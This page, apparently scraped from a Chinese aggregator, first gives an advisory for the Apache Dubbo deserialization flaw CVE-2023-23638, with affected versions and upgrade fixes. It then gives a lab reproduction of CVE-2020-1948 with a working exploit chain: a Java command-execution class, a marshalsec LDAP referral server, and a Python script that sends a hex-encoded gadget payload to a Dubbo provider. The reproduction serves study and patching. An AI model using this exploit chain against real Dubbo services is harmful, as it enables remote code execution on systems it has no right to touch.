Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)
Posted 墨菲安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)相关的知识,希望对你有一定的参考价值。
漏洞描述
Apache Dubbo 是一款轻量级 Java RPC 框架
该项目受影响版本存在反序列化漏洞,由于Dubbo在序列化时检查不够全面,当攻击者可访问到dubbo服务时,可通过构造恶意请求绕过检查触发反序列化,执行恶意代码
漏洞名称 | Apache Dubbo 存在反序列化漏洞 |
---|---|
漏洞类型 | 反序列化 |
发现时间 | 2023/3/8 |
漏洞影响广度 | 一般 |
MPS编号 | MPS-2023-1779 |
CVE编号 | CVE-2023-23638 |
CNVD编号 | - |
影响范围
org.apache.dubbo:dubbo-common@[2.7.0, 2.7.22)
org.apache.dubbo:dubbo-common@[3.0.0, 3.0.14)
org.apache.dubbo:dubbo-qos@[3.1.0, 3.1.6)
修复方案
将组件 org.apache.dubbo:dubbo-qos 升级至 3.1.6 及以上版本
将组件 org.apache.dubbo:dubbo-common 升级至 2.7.22 及以上版本
将组件 org.apache.dubbo:dubbo-common 升级至 3.0.14 及以上版本
参考链接
https://www.oscs1024.com/hd/MPS-2023-1779
https://nvd.nist.gov/vuln/detail/CVE-2023-23638
https://github.com/apache/dubbo/commit/6e5c1f8665216ccda4b2eb8c0465882efe62dd61
https://github.com/apache/dubbo/commit/4f664f0a3d338673f4b554230345b89c580bccbb
关于墨菲安全
墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。
开源项目:https://github.com/murphysecurity/murphysec/?sf=qbyj
产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。
免费代码安全检测工具: https://www.murphysec.com/?sf=qbyj
免费情报订阅: https://www.oscs1024.com/cm/?sf=qbyj
Apache dubbo(CVE-2020-1948)漏洞复现记录
Apache DubboProvider默认反序列化远程代码执行漏洞(CVE-2020-1948)会影响所有使用2.7.6或更低版本的Dubbo用户,攻击者可以发送带有无法识别的服务名或方法名的RPC远程方法请求,以及一些恶意的参数负载。当恶意参数被反序列化时,它将执行一些恶意代码,进而执行恶意命令,非法控制系统,以下为漏洞复现记录。
运行dubbo demo:
2.编译exp:
public class ExploitMac{ public ExploitMac() { try { java.lang.Runtime.getRuntime().exec("calc"); } catch(java.io.IOException e) { e.printStackTrace(); } } } |
这里执行命令calc弹出计算器:
编译javac ExploitMac.java
3.给exp开启http服务:
python3-m http.server 8088
4. 开启LDAP服务
java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://127.0.0.1:8088/#ExploitMac 8087
https://github.com/mbechler/marshalsec
5.构造执行payload:
import socket import time import re
def sendEvilObjData(sock): payload="dabbc2000000000000000000000003b705322e302e3230366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f5365727669636505312e302e300a636f6d6d6f6e54657374124c6a6176612f6c616e672f4f626a6563743b48433027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e92036f626a096265616e436c61737360433029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e92036f626a096265616e436c61737361431d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cac06706172616d73096c697374656e657273036d61700a6368617253747265616d0b617363696953747265616d0d756e69636f646553747265616d0c62696e61727953747265616d0f7374724d61746368436f6c756d6e730d694d61746368436f6c756d6e73057265734d4406726f77734d4402727302707304636f6e6e09666574636853697a650866657463684469720969736f6c6174696f6e1065736361706550726f63657373696e6708726561644f6e6c790b636f6e63757272656e63790c6d61784669656c6453697a65076d6178526f77730c717565727954696d656f75740b73686f7744656c657465640a726f77536574547970650a64617461536f757263650355524c07636f6d6d616e64624d136a6176612e7574696c2e486173687461626c655a4e4e4e4e4e4e56106a6176612e7574696c2e566563746f729a03666f6f4e4e4e4e4e4e4e4e4e56919a8f8f8f8f8f8f8f8f8f8f4e4e4e4e4e90cbe8925454cbf090909046cbec1d6c6461703a2f2f3132372e302e302e313a383038372f4578706c6f69744e4e430f6a6176612e6c616e672e436c61737391046e616d65631d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c633029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e5191519151915a48047061746830366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963651272656d6f74652e6170706c69636174696f6e3024647562626f2d6175746f2d636f6e6669677572652d636f6e73756d65722d73616d706c6509696e7465726661636530366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963650776657273696f6e05312e302e305a"
sock.send(payload.decode('hex')) def run(dip,dport): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_addr = (dip, dport) sock.connect(server_addr) sendEvilObjData(sock)
run("127.0.0.1",12345) |
其中run传入IP和dubbo的provider端口:
成功弹出计算器。
以上是关于Apache Dubbo 存在反序列化漏洞(CVE-2023-23638)的主要内容,如果未能解决你的问题,请参考以下文章
Apache dubbo(CVE-2020-1948)漏洞复现记录
Dubbo反序列化漏洞(CVE-2019-17564) 重现